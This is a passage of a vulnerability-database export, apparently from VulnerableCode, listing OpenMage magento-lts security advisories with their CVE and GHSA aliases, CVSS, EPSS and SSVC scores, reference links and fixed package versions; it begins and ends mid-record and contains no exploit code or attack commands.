scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:24Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.22
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:24Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.19
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-39217
reference_id
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-39217
6
reference_url https://github.com/advisories/GHSA-c9q3-r4rv-mjm7
reference_id GHSA-c9q3-r4rv-mjm7
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-c9q3-r4rv-mjm7
7
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-c9q3-r4rv-mjm7
reference_id GHSA-c9q3-r4rv-mjm7
reference_type
scores
0
value 7.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2025-03-10T20:58:24Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-c9q3-r4rv-mjm7
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.22
purl pkg:composer/openmage/magento-lts@19.4.22
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.22
1
url pkg:composer/openmage/magento-lts@20.0.19
purl pkg:composer/openmage/magento-lts@20.0.19
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-h9n9-9mxj-zqd6
9
vulnerability VCID-jfan-uqf5-3qhd
10
vulnerability VCID-mdd4-wk6v-a3cw
11
vulnerability VCID-upex-64ca-uqbf
12
vulnerability VCID-xazc-hmj9-guas
13
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.19
aliases CVE-2021-39217, GHSA-c9q3-r4rv-mjm7, GMS-2023-156
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-gn12-464m-fkcu
16
url VCID-h9n9-9mxj-zqd6
vulnerability_id VCID-h9n9-9mxj-zqd6
summary Improper Neutralization in openmage/magento-lts.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-41879
reference_id
reference_type
scores
0
value 0.00102
scoring_system epss
scoring_elements 0.27707
published_at 2026-06-05T12:55:00Z
1
value 0.00128
scoring_system epss
scoring_elements 0.31696
published_at 2026-06-08T12:55:00Z
2
value 0.00128
scoring_system epss
scoring_elements 0.31729
published_at 2026-06-07T12:55:00Z
3
value 0.00128
scoring_system epss
scoring_elements 0.31767
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-41879
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/2a2a2fb504247e8966f8ffc2e17d614be5d43128
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-26T16:53:59Z/
url https://github.com/OpenMage/magento-lts/commit/2a2a2fb504247e8966f8ffc2e17d614be5d43128
3
reference_url https://github.com/OpenMage/magento-lts/commit/31e74ac5d670b10001f88f038046b62367f15877
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-26T16:53:59Z/
url https://github.com/OpenMage/magento-lts/commit/31e74ac5d670b10001f88f038046b62367f15877
4
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.5.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-26T16:53:59Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v19.5.1
5
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.1.1
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-26T16:53:59Z/
url https://github.com/OpenMage/magento-lts/releases/tag/v20.1.1
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-41879
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-41879
7
reference_url https://github.com/advisories/GHSA-9358-cpvx-c2qp
reference_id GHSA-9358-cpvx-c2qp
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9358-cpvx-c2qp
8
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-9358-cpvx-c2qp
reference_id GHSA-9358-cpvx-c2qp
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2024-09-26T16:53:59Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-9358-cpvx-c2qp
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.5.1
purl pkg:composer/openmage/magento-lts@19.5.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-jfan-uqf5-3qhd
9
vulnerability VCID-mdd4-wk6v-a3cw
10
vulnerability VCID-upex-64ca-uqbf
11
vulnerability VCID-xazc-hmj9-guas
12
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.5.1
1
url pkg:composer/openmage/magento-lts@20.1.1
purl pkg:composer/openmage/magento-lts@20.1.1
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-jfan-uqf5-3qhd
9
vulnerability VCID-mdd4-wk6v-a3cw
10
vulnerability VCID-upex-64ca-uqbf
11
vulnerability VCID-xazc-hmj9-guas
12
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.1.1
aliases CVE-2023-41879, GHSA-9358-cpvx-c2qp
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-h9n9-9mxj-zqd6
17
url VCID-jfan-uqf5-3qhd
vulnerability_id VCID-jfan-uqf5-3qhd
summary Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in openmage/magento-lts.
references
0
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
1
reference_url https://github.com/OpenMage/magento-lts/pull/3220
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/pull/3220
2
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.2.0
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.2.0
3
reference_url https://hackerone.com/reports/1948040
reference_id
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://hackerone.com/reports/1948040
4
reference_url https://github.com/advisories/GHSA-9j5w-2cqc-cwj9
reference_id GHSA-9j5w-2cqc-cwj9
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-9j5w-2cqc-cwj9
5
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-9j5w-2cqc-cwj9
reference_id GHSA-9j5w-2cqc-cwj9
reference_type
scores
0
value 7.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
1
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
2
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-9j5w-2cqc-cwj9
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.2.0
purl pkg:composer/openmage/magento-lts@20.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-9axm-6vqd-tkag
4
vulnerability VCID-9ztp-ffqs-4yh4
5
vulnerability VCID-cbms-5g8f-wyg6
6
vulnerability VCID-dg5g-wnuf-ryad
7
vulnerability VCID-fken-twwj-gkaq
8
vulnerability VCID-mdd4-wk6v-a3cw
9
vulnerability VCID-upex-64ca-uqbf
10
vulnerability VCID-xazc-hmj9-guas
11
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.2.0
aliases GHSA-9j5w-2cqc-cwj9, GMS-2023-5656
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-jfan-uqf5-3qhd
18
url VCID-jr6u-gjtr-3udv
vulnerability_id VCID-jr6u-gjtr-3udv
summary
XPath Injection
Admin users can execute arbitrary commands via block methods.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-32758
reference_id
reference_type
scores
0
value 0.0036
scoring_system epss
scoring_elements 0.58503
published_at 2026-06-08T12:55:00Z
1
value 0.0036
scoring_system epss
scoring_elements 0.58469
published_at 2026-06-04T12:55:00Z
2
value 0.0036
scoring_system epss
scoring_elements 0.58516
published_at 2026-06-05T12:55:00Z
3
value 0.0036
scoring_system epss
scoring_elements 0.58525
published_at 2026-06-06T12:55:00Z
4
value 0.0036
scoring_system epss
scoring_elements 0.58517
published_at 2026-06-07T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-32758
1
reference_url https://github.com/OpenMage/magento-lts/commit/b99307d00b59c4a226a1e3e4083f02cf2fc8fce7
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/commit/b99307d00b59c4a226a1e3e4083f02cf2fc8fce7
2
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.15
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.15
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.13
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.13
4
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-26rr-v2j2-25fh
reference_id
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-26rr-v2j2-25fh
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-32758
reference_id CVE-2021-32758
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-32758
6
reference_url https://github.com/advisories/GHSA-26rr-v2j2-25fh
reference_id GHSA-26rr-v2j2-25fh
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-26rr-v2j2-25fh
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.15
purl pkg:composer/openmage/magento-lts@19.4.15
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-mdd4-wk6v-a3cw
16
vulnerability VCID-tqce-uume-myc2
17
vulnerability VCID-upex-64ca-uqbf
18
vulnerability VCID-xazc-hmj9-guas
19
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.15
1
url pkg:composer/openmage/magento-lts@20.0.11
purl pkg:composer/openmage/magento-lts@20.0.11
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-kctp-3z8m-5fg2
16
vulnerability VCID-mdd4-wk6v-a3cw
17
vulnerability VCID-tqce-uume-myc2
18
vulnerability VCID-upex-64ca-uqbf
19
vulnerability VCID-xazc-hmj9-guas
20
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.11
2
url pkg:composer/openmage/magento-lts@20.0.13
purl pkg:composer/openmage/magento-lts@20.0.13
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-mdd4-wk6v-a3cw
16
vulnerability VCID-tqce-uume-myc2
17
vulnerability VCID-upex-64ca-uqbf
18
vulnerability VCID-xazc-hmj9-guas
19
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.13
aliases CVE-2021-32758, GHSA-26rr-v2j2-25fh
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-jr6u-gjtr-3udv
19
url VCID-kctp-3z8m-5fg2
vulnerability_id VCID-kctp-3z8m-5fg2
summary
Improper Input Validation
OpenMage magento-lts is an alternative to the Magento CE official releases. Due to missing sanitation in data flow in versions prior to 19.4.15 and 20.0.13, it was possible for admin users to upload arbitrary executable files to the server. OpenMage versions 19.4.15 and 20.0.13 have a patch for this Issue.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2021-32759
reference_id
reference_type
scores
0
value 0.0055
scoring_system epss
scoring_elements 0.68344
published_at 2026-06-08T12:55:00Z
1
value 0.0055
scoring_system epss
scoring_elements 0.68318
published_at 2026-06-04T12:55:00Z
2
value 0.0055
scoring_system epss
scoring_elements 0.6836
published_at 2026-06-07T12:55:00Z
3
value 0.0055
scoring_system epss
scoring_elements 0.68367
published_at 2026-06-06T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2021-32759
1
reference_url https://github.com/OpenMage/magento-lts/commit/34709ac642d554aa1824892059186dd329db744b
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/commit/34709ac642d554aa1824892059186dd329db744b
2
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.15
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v19.4.15
3
reference_url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.13
reference_id
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/releases/tag/v20.0.13
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2021-32759
reference_id CVE-2021-32759
reference_type
scores
0
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2021-32759
5
reference_url https://github.com/advisories/GHSA-xm9f-vxmx-4m58
reference_id GHSA-xm9f-vxmx-4m58
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-xm9f-vxmx-4m58
6
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-xm9f-vxmx-4m58
reference_id GHSA-xm9f-vxmx-4m58
reference_type
scores
0
value HIGH
scoring_system cvssv3.1_qr
scoring_elements
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-xm9f-vxmx-4m58
fixed_packages
0
url pkg:composer/openmage/magento-lts@19.4.15
purl pkg:composer/openmage/magento-lts@19.4.15
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-mdd4-wk6v-a3cw
16
vulnerability VCID-tqce-uume-myc2
17
vulnerability VCID-upex-64ca-uqbf
18
vulnerability VCID-xazc-hmj9-guas
19
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@19.4.15
1
url pkg:composer/openmage/magento-lts@20.0.13
purl pkg:composer/openmage/magento-lts@20.0.13
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-4tsg-n4v2-vyhg
2
vulnerability VCID-66qk-mhwg-tqcz
3
vulnerability VCID-7srh-wcuk-ryhg
4
vulnerability VCID-9axm-6vqd-tkag
5
vulnerability VCID-9ztp-ffqs-4yh4
6
vulnerability VCID-cbms-5g8f-wyg6
7
vulnerability VCID-dg5g-wnuf-ryad
8
vulnerability VCID-dj3k-4q1f-xfbh
9
vulnerability VCID-fken-twwj-gkaq
10
vulnerability VCID-g75g-ab3s-y7db
11
vulnerability VCID-gewj-4tzh-k3e5
12
vulnerability VCID-gn12-464m-fkcu
13
vulnerability VCID-h9n9-9mxj-zqd6
14
vulnerability VCID-jfan-uqf5-3qhd
15
vulnerability VCID-mdd4-wk6v-a3cw
16
vulnerability VCID-tqce-uume-myc2
17
vulnerability VCID-upex-64ca-uqbf
18
vulnerability VCID-xazc-hmj9-guas
19
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.0.13
aliases CVE-2021-32759, GHSA-xm9f-vxmx-4m58
risk_score 4.0
exploitability 0.5
weighted_severity 8.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-kctp-3z8m-5fg2
20
url VCID-mdd4-wk6v-a3cw
vulnerability_id VCID-mdd4-wk6v-a3cw
summary
OpenMage vulnerable to XSS in Admin Notifications
OpenMage versions v20.15.0 and earlier are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by an admin with direct database access or the admin notification feed source to inject malicious scripts into vulnerable fields. Malicious JavaScript may be executed in a victim’s browser when they browse to the page containing the vulnerable field.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-64174
reference_id
reference_type
scores
0
value 0.00034
scoring_system epss
scoring_elements 0.10306
published_at 2026-06-08T12:55:00Z
1
value 0.00034
scoring_system epss
scoring_elements 0.1039
published_at 2026-06-07T12:55:00Z
2
value 0.00034
scoring_system epss
scoring_elements 0.10432
published_at 2026-06-06T12:55:00Z
3
value 0.00034
scoring_system epss
scoring_elements 0.10412
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-64174
1
reference_url https://github.com/OpenMage/magento-lts
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/OpenMage/magento-lts
2
reference_url https://github.com/OpenMage/magento-lts/commit/9d604f5489851c54a96fca31b0e13c414b0fb20a
reference_id
reference_type
scores
0
value 4.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-06T21:19:51Z/
url https://github.com/OpenMage/magento-lts/commit/9d604f5489851c54a96fca31b0e13c414b0fb20a
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-64174
reference_id CVE-2025-64174
reference_type
scores
0
value 4.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-64174
4
reference_url https://github.com/advisories/GHSA-qv78-c8hc-438r
reference_id GHSA-qv78-c8hc-438r
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-qv78-c8hc-438r
5
reference_url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qv78-c8hc-438r
reference_id GHSA-qv78-c8hc-438r
reference_type
scores
0
value MODERATE
scoring_system cvssv3.1_qr
scoring_elements
1
value 4.6
scoring_system cvssv4
scoring_elements CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-11-06T21:19:51Z/
url https://github.com/OpenMage/magento-lts/security/advisories/GHSA-qv78-c8hc-438r
fixed_packages
0
url pkg:composer/openmage/magento-lts@20.16.0
purl pkg:composer/openmage/magento-lts@20.16.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-19kk-2s77-nuaa
1
vulnerability VCID-66qk-mhwg-tqcz
2
vulnerability VCID-7srh-wcuk-ryhg
3
vulnerability VCID-cbms-5g8f-wyg6
4
vulnerability VCID-fken-twwj-gkaq
5
vulnerability VCID-upex-64ca-uqbf
6
vulnerability VCID-xazc-hmj9-guas
7
vulnerability VCID-xhm4-u8ax-wuew
resource_url http://public2.vulnerablecode.io/packages/pkg:composer/openmage/magento-lts@20.16.0
aliases CVE-2025-64174, GHSA-qv78-c8hc-438r
risk_score 3.1
exploitability 0.5
weighted_severity 6.2
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-mdd4-wk6v-a3cw
21
url VCID-nv23-eun4-1fdd
vulnerability_id VCID-nv23-eun4-1fdd
summary
Unrestricted Upload of File with Dangerous Type
OpenMage is a community-driven alternative to Magento CE. In OpenMage, an administrator with permission to import/export data and to edit cms pages was able to inject an executable file on the server via layout xml.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2020-26295
reference_id
reference_type
scores
0
value 0.00751
scoring_system epss
scoring_elements 0.73522
published_at 2026-06-04T12:55:00Z
1
value 0.00751
scoring_system epss
scoring_elements 0.73559
published_at 2026-06-05T12:55:00Z
2
value 0.00751
scoring_system epss
scoring_elements 0.73564
published_at 2026-06-06T12:55:00Z
3
value 0.00751
scoring_system epss
scoring_elements 0.73551
published_at 2026-06-07T12:55:00Z
4
value 0.00751
scoring_system epss
scoring_elements 0.73538
published_at 2026-06-08T12:55:00Z
